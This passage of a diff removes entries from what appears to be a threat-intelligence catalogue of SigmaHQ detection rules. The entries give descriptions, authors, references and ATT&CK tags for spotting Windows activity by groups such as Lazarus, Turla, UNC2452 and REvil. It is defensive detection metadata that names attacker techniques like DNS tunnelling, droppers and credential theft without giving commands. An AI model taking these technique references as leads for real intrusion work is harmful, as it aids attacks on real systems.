"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ] - }, - "uuid": "8acf3cfa-1e8c-4099-83de-a0c4038e18f0", - "value": "EvilNum Golden Chickens Deployment via OCX Files" - }, - { - "description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", - "meta": { - "author": "Tim Burrell", - "creation_date": "2020/02/07", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_gallium.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gallium.yml", - "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/" - ], - "tags": [ - "attack.credential_access", - "attack.t1212", - "attack.command_and_control", - "attack.t1071" - ] - }, - "uuid": "18739897-21b1-41da-8ee4-5b786915a676", - "value": "GALLIUM Artefacts" - }, - { - "description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", - "meta": { - "author": "Tim Burrell", - "creation_date": "2020/02/07", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_gallium_sha1.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gallium_sha1.yml", - "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/" - ], - "tags": [ - "attack.credential_access", - "attack.t1212", - "attack.command_and_control", - "attack.t1071" - ] - }, - "uuid": "440a56bf-7873-4439-940a-1c8a671073c2", - "value": "GALLIUM Artefacts" - }, - { - "description": "Detects suspicious UltraVNC command line flag combination that indicate a auto reconnect upon execution, e.g. startup (as seen being used by Gamaredon threat group)", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2022/03/04", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_gamaredon_ultravnc.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", - "https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gamaredon_ultravnc.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.g0047", - "attack.t1021.005" - ] - }, - "uuid": "871b9555-69ca-4993-99d3-35a59f9f3599", - "value": "Suspicious UltraVNC Execution" - }, - { - "description": "Detects tools and process executions as observed in a Greenbug campaign in May 2020", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/05/20", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_greenbug_may20.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/greenbug-espionage-telco-south-asia", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_greenbug_may20.yml" - ], - "tags": [ - "attack.g0049", - "attack.execution", - "attack.t1059.001", - "attack.command_and_control", - "attack.t1105", - "attack.defense_evasion", - "attack.t1036.005" - ] - }, - "uuid": "3711eee4-a808-4849-8a14-faf733da3612", - "value": "Greenbug Campaign Indicators" - }, - { - "description": "Detects activity observed by different researchers to be HAFNIUM group activity (or related) on Exchange servers", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/03/09", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_hafnium.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/", - "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", - "https://twitter.com/GadixCRK/status/1369313704869834753?s=20", - "https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3", - "https://twitter.com/BleepinComputer/status/1372218235949617161", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_hafnium.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1546", - "attack.t1053" - ] - }, - "uuid": "bbb2dedd-a0e3-46ab-ba6c-6c82ae7a9aa7", - "value": "Exchange Exploitation Activity" - }, - { - "description": "Detects Hurricane Panda Activity", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/03/04", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_hurricane_panda.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.crowdstrike.com/blog/crowdstrike-discovers-use-64-bit-zero-day-privilege-escalation-exploit-cve-2014-4113-hurricane-panda/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_hurricane_panda.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.g0009", - "attack.t1068" - ] - }, - "uuid": "0eb2107b-a596-422e-b123-b389d5594ed7", - "value": "Hurricane Panda Activity" - }, - { - "description": "Detects Judgement Panda activity as described in Global Threat Report 2019 by Crowdstrike", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/02/21", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_judgement_panda_gtr19.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_judgement_panda_gtr19.yml", - "https://www.crowdstrike.com/resources/reports/2019-crowdstrike-global-threat-report/" - ], - "tags": [ - "attack.lateral_movement", - "attack.g0010", - "attack.credential_access", - "attack.t1003.001", - "attack.exfiltration", - "attack.t1560.001" - ] - }, - "uuid": "03e2746e-2b31-42f1-ab7a-eb39365b2422", - "value": "Judgement Panda Exfil Activity" - }, - { - "description": "Detects Registry modifications performed by Ke3chang malware in campaigns running in 2019 and 2020", - "meta": { - "author": "Markus Neis, Swisscom", - "creation_date": "2020/06/18", - "falsepositive": [ - "Will need to be looked for combinations of those processes" - ], - "filename": "proc_creation_win_apt_ke3chang_regadd.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ke3chang_regadd.yml", - "https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/" - ], - "tags": [ - "attack.g0004", - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "7b544661-69fc-419f-9a59-82ccc328f205", - "value": "Ke3chang Registry Key Modifications" - }, - { - "description": "Detects different process creation events as described in Malwarebytes's threat report on Lazarus group activity", - "meta": { - "author": "Bhabesh Raj", - "creation_date": "2021/04/20", - "falsepositive": [ - "Should not be any false positives" - ], - "filename": "proc_creation_win_apt_lazarus_activity_apr21.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_activity_apr21.yml", - "https://blog.malwarebytes.com/malwarebytes-news/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/" - ], - "tags": [ - "attack.g0032", - "attack.execution", - "attack.t1106" - ] - }, - "uuid": "4a12fa47-c735-4032-a214-6fab5b120670", - "value": "Lazarus Activity" - }, - { - "description": "Detects different process creation events as described in various threat reports on Lazarus group activity", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/12/23", - "falsepositive": [ - "Overlap with legitimate process activity in some cases (especially selection 3 and 4)" - ], - "filename": "proc_creation_win_apt_lazarus_activity_dec20.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_activity_dec20.yml", - "https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/", - "https://www.hvs-consulting.de/lazarus-report/" - ], - "tags": [ - "attack.g0032", - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "24c4d154-05a4-4b99-b57d-9b977472443a", - "value": "Lazarus Activity" - }, - { - "description": "Detects different loaders as described in various threat reports on Lazarus group activity", - "meta": { - "author": "Florian Roth, wagga", - "creation_date": "2020/12/23", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_lazarus_loader.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://securelist.com/lazarus-covets-covid-19-related-intelligence/99906/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_loader.yml", - "https://www.hvs-consulting.de/lazarus-report/" - ], - "tags": [ - "attack.g0032", - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "7b49c990-4a9a-4e65-ba95-47c9cc448f6e", - "value": "Lazarus Loaders" - }, - { - "description": "Detects executables launched outside their default directories as used by Lazarus Group (Bluenoroff)", - "meta": { - "author": "Trent Liffick (@tliffick), Bartlomiej Czyz (@bczyz1)", - "creation_date": "2020/06/03", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_lazarus_session_highjack.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_lazarus_session_highjack.yml", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180244/Lazarus_Under_The_Hood_PDF_final.pdf" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036.005" - ] - }, - "uuid": "3f7f5b0b-5b16-476c-a85f-ab477f6dd24b", - "value": "Lazarus Session Highjacker" - }, - { - "description": "Detects suspicious command line patterns as seen being used by MERCURY threat actor", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/08/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_mercury.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_mercury.yml", - "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.g0069" - ] - }, - "uuid": "a62298a3-1fe0-422f-9a68-ffbcbc5a123d", - "value": "MERCURY Command Line Patterns" - }, - { - "description": "Detecting DNS tunnel activity for Muddywater actor", - "meta": { - "author": "@caliskanfurkan_", - "creation_date": "2020/06/04", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_muddywater_dnstunnel.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_muddywater_dnstunnel.yml", - "https://www.vmray.com/analyses/5ad401c3a568/report/overview.html", - "https://www.virustotal.com/gui/file/5ad401c3a568bd87dd13f8a9ddc4e450ece61cd9ce4d1b23f68ce0b1f3c190b7/" - ], - "tags": [ - "attack.command_and_control", - "attack.t1071.004" - ] - }, - "uuid": "36222790-0d43-4fe8-86e4-674b27809543", - "value": "DNS Tunnel Technique from MuddyWater" - }, - { - "description": "Detects specific process parameters as used by Mustang Panda droppers", - "meta": { - "author": "Florian Roth, oscd.community", - "creation_date": "2019/10/30", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_mustangpanda.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_mustangpanda.yml", - "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", - "https://app.any.run/tasks/7ca5661d-a67b-43ec-98c1-dd7a8103c256/", - "https://app.any.run/tasks/b12cccf3-1c22-4e28-9d3e-c7a6062f3914/" - ], - "tags": [ - "attack.t1587.001", - "attack.resource_development" - ] - }, - "uuid": "2d87d610-d760-45ee-a7e6-7a6f2a65de00", - "value": "Mustang Panda Dropper" - }, - { - "description": "Detects process command line patterns and locations used by REvil group in Kaseya incident (can also match on other malware)", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/07/03", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_revil_kaseya.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://community.sophos.com/b/security-blog/posts/active-ransomware-attack-on-kaseya-customers", - "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b", - "https://therecord.media/revil-ransomware-executes-supply-chain-attack-via-malicious-kaseya-update/", - "https://blog.truesec.com/2021/07/04/kaseya-supply-chain-attack-targeting-msps-to-deliver-revil-ransomware/", - "https://www.joesandbox.com/analysis/443736/0/html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_revil_kaseya.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059", - "attack.g0115" - ] - }, - "uuid": "5de632bc-7fbd-4c8a-944a-fce55c59eae5", - "value": "REvil Kaseya Incident Malware Patterns" - }, - { - "description": "Detects Silence downloader. These commands are hardcoded into the binary.", - "meta": { - "author": "Alina Stepchenkova, Roman Rezvukhin, Group-IB, oscd.community", - "creation_date": "2019/11/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_silence_downloader_v3.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_silence_downloader_v3.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1547.001", - "attack.discovery", - "attack.t1057", - "attack.t1082", - "attack.t1016", - "attack.t1033", - "attack.g0091" - ] - }, - "uuid": "170901d1-de11-4de7-bccb-8fa13678d857", - "value": "Silence.Downloader V3" - }, - { - "description": "Detects the deactivation and disabling of the Scheduled defragmentation task as seen by Slingshot APT group", - "meta": { - "author": "Florian Roth, Bartlomiej Czyz (@bczyz1)", - "creation_date": "2019/03/04", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_slingshot.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_slingshot.yml", - "https://securelist.com/apt-slingshot/84312/" - ], - "tags": [ - "attack.persistence", - "attack.t1053.005", - "attack.s0111" - ] - }, - "uuid": "958d81aa-8566-4cea-a565-59ccd4df27b0", - "value": "Defrag Deactivation" - }, - { - "description": "Detects Trojan loader activity as used by APT28", - "meta": { - "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", - "creation_date": "2018/03/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_sofacy.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_sofacy.yml", - "https://www.reverse.it/sample/e3399d4802f9e6d6d539e3ae57e7ea9a54610a7c4155a6541df8e94d67af086e?environmentId=100", - "https://twitter.com/ClearskySec/status/960924755355369472", - "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/" - ], - "tags": [ - "attack.g0007", - "attack.execution", - "attack.t1059.003", - "attack.defense_evasion", - "car.2013-10-002", - "attack.t1218.011" - ] - }, - "uuid": "ba778144-5e3d-40cf-8af9-e28fb1df1e20", - "value": "Sofacy Trojan Loader Activity" - }, - { - "description": "Suspicious behaviours related to an actor tracked by Microsoft as SOURGUM", - "meta": { - "author": "MSTIC, FPT.EagleEye", - "creation_date": "2021/06/15", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_sourgrum.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", - "https://github.com/Azure/Azure-Sentinel/blob/43e9be273dca321295190bfc4902858e009d4a35/Detections/MultipleDataSources/SOURGUM_IOC.yaml", - "https://www.virustotal.com/gui/file/c299063e3eae8ddc15839767e83b9808fd43418dc5a1af7e4f44b97ba53fbd3d/detection", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_sourgrum.yml" - ], - "tags": [ - "attack.t1546", - "attack.t1546.015", - "attack.persistence", - "attack.privilege_escalation" - ] - }, - "uuid": "7ba08e95-1e0b-40cd-9db5-b980555e42fd", - "value": "SOURGUM Actor Behaviours" - }, - { - "description": "Detects renamed SysInternals tool execution with a binary named ps.exe as used by Dragonfly APT group and documented in TA17-293A report", - "meta": { - "author": "Florian Roth", - "creation_date": "2017/10/22", - "falsepositive": [ - "Renamed SysInternals tool" - ], - "filename": "proc_creation_win_apt_ta17_293a_ps.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.us-cert.gov/ncas/alerts/TA17-293A", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ta17_293a_ps.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.g0035", - "attack.t1036.003", - "car.2013-05-009" - ] - }, - "uuid": "18da1007-3f26-470f-875d-f77faf1cab31", - "value": "Ps.exe Renamed SysInternals Tool" - }, - { - "description": "Detects mshta loaded by wmiprvse as parent as used by TA505 malicious documents", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/12/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_ta505_dropper.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/ForensicITGuy/status/1334734244120309760", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ta505_dropper.yml" - ], - "tags": [ - "attack.execution", - "attack.g0092", - "attack.t1106" - ] - }, - "uuid": "18cf6cf0-39b0-4c22-9593-e244bdc9a2d4", - "value": "TA505 Dropper Load Pattern" - }, - { - "description": "Detects specific process characteristics of Chinese TAIDOOR RAT malware load", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/07/30", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_taidoor.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_taidoor.yml" - ], - "tags": [ - "attack.execution", - "attack.t1055.001" - ] - }, - "uuid": "d1aa3382-abab-446f-96ea-4de52908210b", - "value": "TAIDOOR RAT DLL Load" - }, - { - "description": "Detects TropicTrooper activity, an actor who targeted high-profile organizations in the energy and food and beverage sectors in Asia", - "meta": { - "author": "@41thexplorer, Microsoft Defender ATP", - "creation_date": "2019/11/12", - "falsepositive": "No established falsepositives", - "filename": "proc_creation_win_apt_tropictrooper.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_tropictrooper.yml", - "https://cloudblogs.microsoft.com/microsoftsecure/2018/11/28/windows-defender-atp-device-risk-score-exposes-new-cyberattack-drives-conditional-access-to-protect-networks/" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "8c7090c3-e0a0-4944-bd08-08c3a0cecf79", - "value": "TropicTrooper Campaign November 2018" - }, - { - "description": "Detects automated lateral movement by Turla group", - "meta": { - "author": "Markus Neis", - "creation_date": "2017/11/07", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_turla_commands_critical.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_commands_critical.yml", - "https://securelist.com/the-epic-turla-operation/65545/" - ], - "tags": [ - "attack.g0010", - "attack.execution", - "attack.t1059", - "attack.lateral_movement", - "attack.t1021.002", - "attack.discovery", - "attack.t1083", - "attack.t1135" - ] - }, - "uuid": "c601f20d-570a-4cde-a7d6-e17f99cb8e7f", - "value": "Turla Group Lateral Movement" - }, - { - "description": "Detects automated lateral movement by Turla group", - "meta": { - "author": "Markus Neis", - "creation_date": "2017/11/07", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_turla_commands_medium.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_commands_medium.yml", - "https://securelist.com/the-epic-turla-operation/65545/" - ], - "tags": [ - "attack.g0010", - "attack.execution", - "attack.t1059", - "attack.lateral_movement", - "attack.t1021.002", - "attack.discovery", - "attack.t1083", - "attack.t1135" - ] - }, - "uuid": "75925535-ca97-4e0a-a850-00b5c00779dc", - "value": "Turla Group Lateral Movement" - }, - { - "description": "Detects commands used by Turla group as reported by ESET in May 2020", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/05/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_turla_comrat_may20.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_comrat_may20.yml" - ], - "tags": [ - "attack.g0010", - "attack.execution", - "attack.t1059.001", - "attack.t1053.005", - "attack.t1027" - ] - }, - "uuid": "9e2e51c5-c699-4794-ba5a-29f5da40ac0c", - "value": "Turla Group Commands May 2020" - }, - { - "description": "Detects a specific process creation patterns as seen used by UNC2452 and provided by Microsoft as Microsoft Defender ATP queries", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/01/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_unc2452_cmds.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unc2452_cmds.yml", - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "uuid": "9be34ad0-b6a7-4fbd-91cf-fc7ec1047f5f", - "value": "UNC2452 Process Creation Patterns" - }, - { - "description": "Detects a specific PowerShell command line pattern used by the UNC2452 actors as mentioned in Microsoft and Symantec reports", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/01/20", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_unc2452_ps.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md#atomic-test-7---create-a-process-using-wmi-query-and-an-encoded-command", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", - "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unc2452_ps.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.t1047" - ] - }, - "uuid": "b7155193-8a81-4d8f-805d-88de864ca50c", - "value": "UNC2452 PowerShell Pattern" - }, - { - "description": "A sigma rule detecting an unidetefied attacker who used phishing emails to target high profile orgs on November 2018. The Actor shares some TTPs with YYTRIUM/APT29 campaign in 2016.", - "meta": { - "author": "@41thexplorer, Microsoft Defender ATP", - "creation_date": "2018/11/20", - "falsepositive": "No established falsepositives", - "filename": "proc_creation_win_apt_unidentified_nov_18.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/DrunkBinary/status/1063075530180886529", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unidentified_nov_18.yml" - ], - "tags": [ - "attack.execution", - "attack.t1218.011" - ] - }, - "uuid": "7453575c-a747-40b9-839b-125a0aae324b", - "value": "Unidentified Attacker November 2018" - }, - { - "description": "Detects specific process characteristics of Winnti malware noticed in Dec/Jan 2020 in a campaign against Honk Kong universities", - "meta": { - "author": "Florian Roth, Markus Neis", - "creation_date": "2020/02/01", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_winnti_mal_hk_jan20.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.welivesecurity.com/2020/01/31/winnti-group-targeting-universities-hong-kong/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_winnti_mal_hk_jan20.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002", - "attack.g0044" - ] - }, - "uuid": "3121461b-5aa0-4a41-b910-66d25524edbb", - "value": "Winnti Malware HK University Campaign" - }, - { - "description": "Detects specific process characteristics of Winnti Pipemon malware reported by ESET", - "meta": { - "author": "Florian Roth, oscd.community", - "creation_date": "2020/07/30", - "falsepositive": [ - "Legitimate setups that use similar flags" - ], - "filename": "proc_creation_win_apt_winnti_pipemon.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_winnti_pipemon.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002", - "attack.g0044" - ] - }, - "uuid": "73d70463-75c9-4258-92c6-17500fe972f2", - "value": "Winnti Pipemon Characteristics" - }, - { - "description": "Detects activity mentioned in Operation Wocao report", - "meta": { - "author": "Florian Roth, frack113", - "creation_date": "2019/12/20", - "falsepositive": [ - "Administrators that use checkadmin.exe tool to enumerate local administrators" - ], - "filename": "proc_creation_win_apt_wocao.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_wocao.yml", - "https://twitter.com/SBousseaden/status/1207671369963646976" - ], - "tags": [ - "attack.discovery", - "attack.t1012", - "attack.defense_evasion", - "attack.t1036.004", - "attack.t1027", - "attack.execution", - "attack.t1053.005", - "attack.t1059.001" - ] - }, - "uuid": "1cfac73c-be78-4f9a-9b08-5bde0c3953ab", - "value": "Operation Wocao Activity" - }, - { - "description": "Detects a ZxShell start by the called and well-known function name", - "meta": { - "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", - "creation_date": "2017/07/20", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_zxshell.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.hybrid-analysis.com/sample/5d2a4cde9fa7c2fdbf39b2e2ffd23378d0c50701a3095d1e91e3cf922d7b0b16?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_zxshell.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.003", - "attack.defense_evasion", - "attack.t1218.011", - "attack.s0412", - "attack.g0001" - ] - }, - "uuid": "f0b70adb-0075-43b0-9745-e82a1c608fcc", - "value": "ZxShell Malware" - }, - { - "description": "The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create \"shortcuts\" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.", - "meta": { - "author": "Sreeman", - "creation_date": "2020/03/13", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_arbitrary_shell_execution_via_settingcontent.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_arbitrary_shell_execution_via_settingcontent.yml", - "https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39" - ], - "tags": [ - "attack.t1204", - "attack.t1566.001", - "attack.execution", - "attack.initial_access" - ] - }, - "uuid": "24de4f3b-804c-4165-b442-5a06a2302c7e", - "value": "Arbitrary Shell Command Execution Via Settingcontent-Ms" - }, - { - "description": "Detects cases in which an ISO files is opend within an archiver like 7Zip or Winrar, which is a sign of phishing as threat actors put small ISO files in archives as email attachments to bypass certain filters and protective measures (mark of web)", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/06/07", - "falsepositive": [ - "Legitimate cases in which archives contain ISO or IMG files and the user opens the archive and the image via clicking and not 